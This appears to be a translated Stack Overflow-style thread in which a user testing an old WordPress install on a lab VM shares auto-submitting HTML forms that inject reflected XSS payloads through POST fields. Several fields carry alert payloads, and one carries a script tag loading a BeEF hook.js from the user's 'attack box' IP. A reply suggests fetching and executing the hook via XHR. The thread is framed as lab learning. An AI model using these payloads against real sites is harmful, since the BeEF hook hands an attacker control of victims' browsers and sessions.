Javascript 在POST参数中加载外部JS脚本(XSS反射攻击)

Javascript 在POST参数中加载外部JS脚本(XSS反射攻击),javascript,xss,Javascript,Xss,我正在我的vbox机器上测试一些xss攻击,只是为了好玩! 我有两个.html文件,一个有效,另一个无效 有效的文件是: <html> <head></head> <body> <form method="post" action="http://192.168.56.17/wordpress/wp-register.php" > <input type="hidden"

我正在我的vbox机器上测试一些xss攻击,只是为了好玩! 我有两个.html文件,一个有效,另一个无效

有效的文件是:

<html>
<head></head>
<body>
<form method="post" action="http://192.168.56.17/wordpress/wp-register.php" >
<input type="hidden" name="action" value="register" />
<input type="hidden" name="user_login" id="user_login"
value='"><script>alert(1)</script>' />
<input type="hidden" name="user_email" id="user_email"
value='"><script>alert(2)</script>' />
</form>
<script>document.forms[0].submit()</script>
</body>
</html>

document.forms[0].提交()
是vulnhub的OWASPBWA机器,它安装了一个旧的WP安装,register.php上有XSS缺陷

这很有效。如果我从另一个客户端调用这个.html文件,比如说192.168.56.1,我看到了javascript警报

但是如果我尝试一些讨厌的事情,例如挂起牛肉xss,下面的代码就不起作用:

<html>
<head></head>
<body>
<form method="post" action="http://192.168.56.17/wordpress/wp-register.php" >
<input type="hidden" name="action" value="register" />
<input type="hidden" name="user_login" id="user_login"
value='">example' />
<input type="hidden" name="user_email" id="user_email"
value='"><script src="http://192.168.56.101:3000/hook.js"></script>' />
</form>
<script>document.forms[0].submit()</script>
</body>
</html>

document.forms[0].提交()
192.168.56.101是我的攻击框


谢谢你的帮助

我认为你应该交换这两行

<input type="hidden" name="user_login" id="user_login" value='">example' />
<input type="hidden" name="user_email" id="user_email" value='"><script src="http://192.168.56.101:3000/hook.js"></script>' />

推理:“>example”正在破坏代码并允许脚本标记优先

我另一个最好的猜测是

<input type="hidden" name="user_login" id="user_login" value='"><script>alert(1)</script>' />

如果上面的代码有效,那么您可能需要在value属性中尝试javascript exec(“”)命令。我怀疑script->src是否真的获取了资源

像这样的


说明: 通过fetch API显式获取脚本,然后通过exec(“”)执行字符串。。 &“APO”分别是“和”的逃逸字符


这是我能想到的最好的了。

如果你查看浏览器的开发工具,hook.js是否下载了?我看到了牛肉饼干,但你是对的。没有下载js。。。。这两台机器可以通信,注射牛肉钩与获得参数工程!所以问题出在我的代码中,谢谢你的帮助。我尝试交换这两行代码(已经交换了,但是没有成功)。所以我尝试了你的新代码,但它不起作用。。仍然没有下载hook.js。放弃我上面的代码,我的意思是发出一个外部xhr请求并替换警报函数,我相信xhr将获取资源,exec()命令将执行它。另一种方法是将整个脚本转储到value=”“tagOk中,因此请编写您想要的代码,否则我无法理解。我告诉您,将实际代码放在-->value='>之间,而不执行http请求,但我希望执行http请求…因此无法在POST参数中加载.js?只是询问!